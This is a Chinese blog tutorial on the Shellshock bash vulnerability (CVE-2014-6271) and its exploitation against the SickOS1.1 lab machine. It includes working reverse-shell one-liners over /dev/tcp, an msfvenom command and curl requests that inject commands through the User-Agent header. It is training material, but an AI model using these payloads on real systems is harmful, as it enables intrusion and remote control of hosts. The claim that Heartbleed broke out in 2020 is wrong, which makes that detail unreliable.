Shellshock (bash之门)远程代码执行漏洞
声明
B站泷羽sec
笔记的只是方便各位师傅学习知识,以下网站只涉及学习内容,其他的都与本人无关,切莫逾越法律红线,否则后果自负。
✍🏻作者简介:致力于网络安全领域,目前作为一名学习者,很荣幸成为一名分享者,最终目标是成为一名开拓者,很有趣也十分有意义
🤵♂️ 个人主页: @One_Blanks
欢迎评论 💬点赞👍🏻 收藏 📂加关注+
- 关注公众号:泷羽Sec-Blanks
- 个人:liuyu3366520
一、前言
最近在打靶的时候才了解到这一个漏洞,其针对一些靶机版本比较老的机器特别好用,毕竟是一个Shell的远程代码执行,如果能直接反弹Shell就省去了更多的时间。
- 漏洞编号:CVE-2014-6271
破壳漏洞(ShellShock)的严重性被定义为 10 级(最高),而2020年 4 月爆发的 OpenSSL(心脏滴血)漏洞才 5 级
二、原理
Bash 4.3以及之前的版本在处理某些构造的环境变量时存在安全漏洞,向环境变量值内的函数定义后添加多余的字符串会触发此漏洞,攻击者可利用此漏洞改变或绕过环境限制,以执行任意的shell命令,甚至完全控制目标系统 受到该漏洞影响的bash使用的环境变量是通过函数名称来调用的,以**“(){”开头通过环境变量来定义的。而在处理这样的“函数环境变量”的时候,并没有以函数结尾“}”**为结束,而是一直执行其后的shell命令
三、受影响版本
四、验证与利用
(一)本地主机验证方法
env x='() { :;}; echo Shellshock' bash -c "exit"
如果存在输出Shellshock就说明存在漏洞
- 利用
可以远程命令执行就可以反弹shell
msfvenom -p cmd/unix/reverse_bash lhost=192.168.25.132 lport=4444 -f raw
生成一下反弹shell的命令,lhost是攻击者的机器、lport是攻击者的端口
bash -c ‘0<&37-;exec 37<>/dev/tcp/192.168.25.132/4444;/bin/sh <&37 >&37 2>&37’
我们直接用单引号里面的命令就可以了,因为这个漏洞已经是bash环境
env x='() { :;}; 0<&37-;exec 37<>/dev/tcp/192.168.25.132/4444;sh <&37 >&37 2>&37' bash -c "exit"
(二)目标主机验证方法
这里以一台靶机为例:SickOS1.1
下载链接:
https://pan.quark.cn/s/4173ca57119e
这里是用nikto扫描到了目标路径暴露出来shellshock漏洞,这里我们直接进行应用
- 先验证,如果执行并返回了id命令的结果说明存在漏洞
curl -v http://192.168.25.134/cgi-bin/status -H "User-Agent: () { :; }; echo; /usr/bin/id;exit"
这里成功返回结果。
- 接下来进行利用,反弹shell
(1)先开监听
nc -nvlp 4444
(2)远程执行反弹shell
curl -v http://192.168.25.134/cgi-bin/status -H "User-Agent: () { :; }; echo; 0<&37-;exec 37<>/dev/tcp/192.168.25.132/4444;/bin/sh <&37 >&37 2>&37;exit"
成功连接